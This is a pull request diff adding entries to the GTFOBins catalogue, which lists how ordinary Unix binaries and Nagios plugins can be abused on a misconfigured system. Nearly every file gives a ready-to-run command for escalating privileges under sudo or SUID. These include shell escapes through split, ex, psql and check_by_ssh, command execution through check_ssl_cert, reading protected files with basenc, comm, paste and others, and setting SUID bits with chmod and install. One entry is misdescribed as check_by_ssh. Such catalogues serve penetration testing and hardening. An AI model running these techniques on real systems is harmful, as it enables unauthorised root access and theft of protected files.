Merge pull request #147 from mindfuckup/master

_gtfobins/basenc.md

@@ -0,0 +1,15 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        basenc --base64 $LFILE | basenc -d --base64
+  suid:
+    - code: |
+        LFILE=file_to_read
+        basenc --base64 $LFILE | basenc -d --base64
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo basenc --base64 $LFILE | basenc -d --base64
+---

_gtfobins/check_by_ssh.md

@@ -0,0 +1,11 @@
+---
+description: |
+  This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
+functions:
+  shell:
+    - description: The shell will only last 10 seconds.
+      code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
+  sudo:
+    - description: The shell will only last 10 seconds.
+      code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
+---

_gtfobins/check_cups.md

@@ -0,0 +1,13 @@
+---
+description: |
+  This is the `check_cups` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        check_cups --extra-opts=@$LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo check_cups --extra-opts=@$LFILE
+---

_gtfobins/check_log.md

@@ -0,0 +1,21 @@
+---
+description: |
+  This is the `check_log` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        OUTPUT=output_file
+        check_log -F $LFILE -O $OUTPUT
+        cat $OUTPUT
+  file-write:
+    - code: |
+        LFILE=file_to_write
+        INPUT=input_file
+        check_log -F $INPUT -O $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_write
+        INPUT=input_file
+        sudo check_log -F $INPUT -O $LFILE
+---

_gtfobins/check_memory.md

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+---
+description: |
+  This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        check_memory --extra-opts=@$LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo check_memory --extra-opts=@$LFILE
+---

_gtfobins/check_raid.md

@@ -0,0 +1,13 @@
+---
+description: |
+  This is the `check_raid` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        check_raid --extra-opts=@$LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo check_raid --extra-opts=@$LFILE
+---

_gtfobins/check_ssl_cert.md

@@ -0,0 +1,26 @@
+---
+description: |
+  This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
+functions:
+  command:
+    - description: The host example.net must return a certificate via TLS
+      code: |
+        COMMAND=id
+        OUTPUT=output_file
+        TF=$(mktemp)
+        echo "$COMMAND | tee $OUTPUT" > $TF
+        chmod +x $TF
+        check_ssl_cert --curl-bin $TF -H example.net
+        cat $OUTPUT
+  sudo:
+    - description: The host example.net must return a certificate via TLS
+      code: |
+        COMMAND=id
+        OUTPUT=output_file
+        TF=$(mktemp)
+        echo "$COMMAND | tee $OUTPUT" > $TF
+        chmod +x $TF
+        umask 022
+        check_ssl_cert --curl-bin $TF -H example.net
+        cat $OUTPUT
+---

_gtfobins/check_statusfile.md

@@ -0,0 +1,13 @@
+---
+description: |
+  This is the `check_statusfile` Nagios plugi plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        check_statusfile $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo check_statusfile $LFILE
+---

_gtfobins/chmod.md

@@ -1,12 +1,12 @@
 ---
-description: This can be run with elevated privileges to change permissions and then read, write, or execute a file.
+description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.
 functions:
   suid:
     - code: |
         LFILE=file_to_change
-        ./chmod 0777 $LFILE
+        ./chmod 6777 $LFILE
   sudo:
     - code: |
         LFILE=file_to_change
-        sudo chmod 0777 $LFILE
+        sudo chmod 6777 $LFILE
 ---

_gtfobins/column.md

@@ -0,0 +1,17 @@
+---
+description: |
+  `column` expects textual data.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        column $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./column $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo column $LFILE
+---

_gtfobins/comm.md

@@ -0,0 +1,15 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        comm $LFILE /dev/null 2>/dev/null
+  suid:
+    - code: |
+        LFILE=file_to_read
+        comm $LFILE /dev/null 2>/dev/null
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo comm $LFILE /dev/null 2>/dev/null
+---

_gtfobins/csplit.md

@@ -0,0 +1,18 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        csplit $LFILE 1
+        cat xx01
+  suid:
+    - code: |
+        LFILE=file_to_read
+        csplit $LFILE 1
+        cat xx01
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        csplit $LFILE 1
+        cat xx01
+---

_gtfobins/ex.md

@@ -0,0 +1,24 @@
+---
+functions:
+  shell:
+    - code: |
+        ex
+        !/bin/sh
+  file-write:
+    - code: |
+        ex file_to_write
+        a
+        DATA
+        .
+        w
+        q
+  file-read:
+    - code: |
+        ex file_to_read
+        ,p
+        q
+  sudo:
+    - code: |
+        sudo ex
+        !/bin/sh
+---

_gtfobins/install.md

@@ -0,0 +1,14 @@
+---
+description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a copy of the file.
+functions:
+  suid:
+    - code: |
+        LFILE=file_to_change
+        TF=$(mktemp)
+        ./install -m 6777 $LFILE $TF
+  sudo:
+    - code: |
+        LFILE=file_to_change
+        TF=$(mktemp)
+        sudo install -m 6777 $LFILE $TF
+---

_gtfobins/join.md

@@ -0,0 +1,15 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        join -a 2 /dev/null $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        join -a 2 /dev/null $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo join -a 2 /dev/null $LFILE
+---

_gtfobins/nroff.md

@@ -1,5 +1,10 @@
 ---
 functions:
+  file-read:
+    - description: The file is typeset and some warning messages may appear.
+      code: |
+        LFILE=file_to_read
+        nroff $LFILE
   shell:
     - code: |
         TF=$(mktemp -d)

_gtfobins/paste.md

@@ -0,0 +1,15 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        paste $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        paste $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo paste $LFILE
+---

_gtfobins/pr.md

@@ -0,0 +1,16 @@
+---
+description: Some bytes are altered so it might not be suitable for binary files.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        pr -T $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        pr -T $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        pr -T $LFILE
+---

_gtfobins/psql.md

@@ -0,0 +1,14 @@
+---
+description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
+functions:
+  shell:
+    - code: |
+        psql
+        \?
+        !/bin/sh
+  sudo:
+    - code: |
+        psql
+        \?
+        !/bin/sh
+---

_gtfobins/rev.md

@@ -0,0 +1,15 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        rev $LFILE | rev
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./rev $LFILE | rev
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo rev $LFILE | rev
+---

_gtfobins/split.md

@@ -0,0 +1,27 @@
+---
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        TF=$(mktemp)
+        split $LFILE $TF
+        cat $TF*
+  command:
+    - description: Command execution using an existing or newly created file.
+      code: |
+        COMMAND=id
+        TF=$(mktemp)
+        split --filter=$COMMAND $TF
+    - description: Command execution using stdin (and close it directly).
+      code: |
+        COMMAND=id
+        echo | split --filter=$COMMAND /dev/stdin
+  shell:
+    - description: The shell prompt is not printed.
+      code: |
+        split --filter=/bin/sh /dev/stdin
+  sudo:
+    - description: The shell prompt is not printed.
+      code: |
+        split --filter=/bin/sh /dev/stdin
+---

_gtfobins/ss.md

@@ -0,0 +1,17 @@
+---
+description: |
+  The file content is actually parsed so only a part of the first line is returned as a part of an error message.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        ss -a -F $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./ss -a -F $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo ss -a -F $LFILE
+---

_gtfobins/ssh-keyscan.md

@@ -0,0 +1,17 @@
+---
+description: |
+  The file content is actually parsed so only a part of each line is returned as a part of an error message.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        ssh-keyscan -f $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./ssh-keyscan -f $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo ssh-keyscan -f $LFILE
+---

_gtfobins/tbl.md

@@ -0,0 +1,17 @@
+---
+description: |
+  The read file content is corrupted by additional text at the beginning.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        tbl $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./tbl $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo tbl $LFILE
+---

_gtfobins/troff.md

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+---
+description: |
+ The file is typeset but text is still readable in the output, alternatively the output can be read with `man -l`.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        troff $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./troff $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo troff $LFILE
+---

_gtfobins/xmodmap.md

@@ -0,0 +1,17 @@
+---
+description: |
+  The read file content is corrupted by error prints.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        xmodmap -v $LFILE
+  suid:
+    - code: |
+        LFILE=file_to_read
+        ./xmodmap -v $LFILE
+  sudo:
+    - code: |
+        LFILE=file_to_read
+        sudo xmodmap -v $LFILE
+---